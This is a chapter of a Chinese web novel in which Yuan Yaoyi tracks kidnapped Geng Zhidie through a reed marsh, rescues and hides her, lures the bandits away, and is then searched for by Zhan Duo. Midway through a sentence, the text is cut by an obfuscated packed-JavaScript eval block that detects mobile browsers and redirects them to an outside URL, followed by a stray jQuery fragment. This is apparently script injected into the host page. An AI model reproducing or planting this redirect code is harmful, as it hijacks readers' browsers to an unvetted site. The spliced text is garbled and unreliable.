耿芷蝶趴在船栏上:“真想下去看看,船上好无趣。我听人说,这附近还有个村子呢。” “不能乱走。”袁瑶衣道声。 小姑娘笑笑说不会。 又过了一天,詹铎还是没回来,甚至没有人回来送信儿。两条船依旧并排着,停在水中。 袁瑶衣怕耿芷蝶觉得闷,便和连婶在伙房做了两样点心。 从下舱出来时,外面天色开始发暗,一天马上又要过去。 袁瑶衣端着盘子,敲响了耿芷蝶的房门。连敲了几下,里头都没有人应。她心里咯噔一下,连忙将房门推开。 房中没有人。 她快步进去,手先去试了试桌上水盏,还带着点儿温热,想来人先前的确是在房中的。 船舱统共就那么大地方,来回找找就能翻遍,并没有耿芷蝶的影子。 “娘子,”连婶慌张着跑进船舱来,舱道上回响着她凌乱的脚步声,“耿家姑娘下船去了。” 袁瑶衣脑中嗡的一响:“什么?” 从连婶口中得知,耿芷蝶的确是下了船,对守卫说很快上来,并让对方保密。 “说是带着婢子的,还跟着两个护卫,”连婶又道,“兴许一会儿就回来了。” 袁瑶衣看着越发暗下来的天色,心中生出不安:“还是下去找找吧,天都黑了。” 说完,她自己快步走出船舱。 打听到耿芷蝶去的方向,她下了船,后面,连婶找了几个人跟上一起。 岸上根本没有人烟,一条不宽的土路,两旁是高高的芦苇,冬日中枯黄一片。 往前走了一段儿,并没有看到耿芷蝶的身影,倒是远处隐约着一个小村庄。 袁瑶衣翘起脚尖想看得清楚些,却不想脚下一滑,蹲坐去地上,脚腕跟着扭了下。 “娘子在这儿等着,我们去村里看看。”连婶见状道,接着也没敢耽搁,朝着村子走去。 袁瑶衣看着几人走远,伸手揉了揉自己的脚腕,还好扭得不厉害,仔细着将筋络顺开就行。她脱了鞋袜,手握上脚心,然后慢慢揉着…… 忽的,她动作顿住,目光注视去路对面的那丛芦苇。 冬日的芦苇又脆又干,那里分明有往两旁分开倒下的样子,是有人走过的痕迹。 她迅速穿好鞋袜,再看连婶他们,早就没了影子。而船那边没人找来,证明耿芷蝶并未回去。 事不宜迟,她不能放过一点儿线索。一站起来,她便走进了芦苇丛,自己的帕子系在那儿,给后来的人做记号。 起先走的一段较为费事,芦苇杂乱,可是仔细看,便会发现被刀砍断的芦苇,可见是有人想遮盖痕迹。果然,再往前便就是清晰被人踩出的痕迹。 袁瑶衣喉间咽了咽,深吸一气,提着裙子继续往前。 没几步,就看见地上躺着个人,正是跟着耿芷蝶的婢子。她跑过去,发现对方已经断了气。 心中不祥的预感愈发放大,耿芷蝶是被人抓走了,极有可能是巨峰山的贼匪。能在闳州横行多年,他们怎么可能在官府中没安插人? 詹铎对付匪寨,所以他们绑了耿芷蝶,有筹码逼詹铎退步。 她沿着痕迹继续去追。她一个女子,自然不会是贼匪的对手,最起码她可以知道对方的去向,以及耿芷蝶的安危,待合适时候发出讯号…… 天黑下来,冷风过,身旁的芦苇沙沙作响。 空中飞着残败的苇絮,不小心吸进鼻间,让人难受得想打喷嚏。 也不知道走出多远,就在袁瑶衣怀疑自己是不是追错方向的时候,前面猛的飞起一大片苇絮。风吹不起那么多,那便一定是人在探路,摇晃所致。 她现在也不知自己到底追出了多远,是什么方向。四周全是比人还高的芦苇,再看不见别的。 仰头,是被厚云遮盖的夜空,后面只会越来越黑。 她轻着脚步前行,动作轻巧,因为耳边明显听见有人说话。 “再哭,信不信老子剁了你!” 一声粗嗓门的呵斥传来,袁瑶衣身形一停,耳朵辨别的声音来自的方向,随之往那边走去。 越走越近,她听见了耿芷蝶压抑的哼唧声,赶紧蹲下看着前方。 透过凌乱的芦苇,她看见两个男人站在一个小水塘边说话。其中一个好似要点火把,说摸黑前行会迷路。接过被另一个制止,说火容易暴露,也容易点了芦苇起火。 而耿芷蝶被捆住,嘴巴被塞住,像个小沙包一样扔在一旁。 一个养尊处优的小姑娘,两个男人自然没放眼里,正商量着谁去找船。 袁瑶衣看得清楚,其中一人身穿船工的衣裳,定是那引耿芷蝶下船的人。她一动不动蹲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037367|134955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,希望等到一个机会。 而那两贼人似乎也是不确定方向,找不到小船藏在那儿,便分开去找寻,左右觉得耿芷蝶根本跑不掉。 机不可失,袁瑶衣从芦苇丛中出来,快速跑到耿芷蝶身边。 “蝶姑娘别怕。”她猫着身子,极力在黑夜中隐藏着。 耿芷蝶受到惊吓,瞪着一双大眼看着袁瑶衣,可惜嘴巴说不出话,只能唔唔两声。 “你别出声,我带你走。”袁瑶衣小声安抚着,手里去解系的死紧的绳扣,不时抬头去看贼子回来与否。 她手里不敢懈怠,解开绑脚的绳子,又去解绑手的,好在耿芷蝶配合不乱动…… 终于,所有绳子解开,而那两贼人还没回来。 袁瑶衣一把拉起耿芷蝶,抽出堵着人嘴上的布团,道了声:“走。” 她拉着对方就钻进一旁的芦苇丛,不是来时的那条路,那会很容易被贼人抓住,眼下最重要就是逃离,后面再做打算。 跑出去一段,身后方传来贼人的咒骂。 贼人威胁,要是不回去,就一把火烧了芦苇荡。 耿芷蝶被吓到,脚下一拌扑倒在地,不由哭出声来:“瑶衣……” “别哭,”袁瑶衣将人抱住,手捂上对方的嘴,“听我的话,不会有事。” 她明白耿芷蝶太小,她带着她可能逃不远。万一贼子丧心病狂起来,真的点火烧,她们俩只会死在这儿。 “你在这儿藏着好不好?我去叫你铎哥哥来。”她咬着唇角,自身上掏出一颗糖塞进小姑娘嘴中,“千万别出声,也别出来,我很快会回来。” 她看着耿芷蝶点头,小脸皱巴巴的憋着,生怕出一点儿声。 袁瑶衣将耿芷蝶塞在一丛深芦苇中,手里捞了些湿泥抹在对方身上,万一有野物,也好遮盖人的气味儿,最后捡了些芦苇盖上。小孩子身形本就小,如此根本发现不了。 “蝶姑娘,别出来。”她轻唤了声。 芦苇中,小姑娘无力的嗯了声。 袁瑶衣往后退开,轻着动作离开这一处,往着相反的地方钻去。那边,贼人还在喊着,显然是没了耐性,听着真有想点火的意思。 她走出了好一段,并掩盖了走过的痕迹,确定不会暴露耿芷蝶,这才深吸了一口气。 “哎哟!”她口中喊了一声。 下一瞬,贼人的声音停止,她知道他们听到了,很快会循着声音来抓她。 她开始往前跑,手拨弄着两旁的芦苇,故意制造出动静,引着对方过来。 耳边只有风声,干枯的苇叶擦过脸颊。她不知道自己会跑去哪里,这片芦苇荡到底多深,只能拼尽全力跑着…… 。 夜黑风高,荒芜的土路上,被火把照得犹如白昼。 詹铎从船上下来,便直接过来这边。夜色衬得他面色发沉,沉得犹如天边黑云。 一趟巨峰山剿匪回来,没想到这边出了事。 耿芷蝶私自下船,至今没找到,而跟着去寻的袁瑶衣也没了下落。 “封锁江面,不准任何船只通行。”他道声,遂垂下眼帘,看着手中的帕子。 副将领命,迅速吩咐下去照办。 詹铎往芦苇荡看去,帕子便是系在芦苇上的,是袁瑶衣给留在记号。 他薄唇抿平,身形一低走进了芦苇荡中。 黑暗中不好辩路,更不能持火把。可是,不少芦苇歪歪斜斜,一看便是有人故意的,还是袁瑶衣,她在用自己的方法指路。 詹铎伸手拨开前方草叶,深眸格外冷沉:“袁瑶衣!”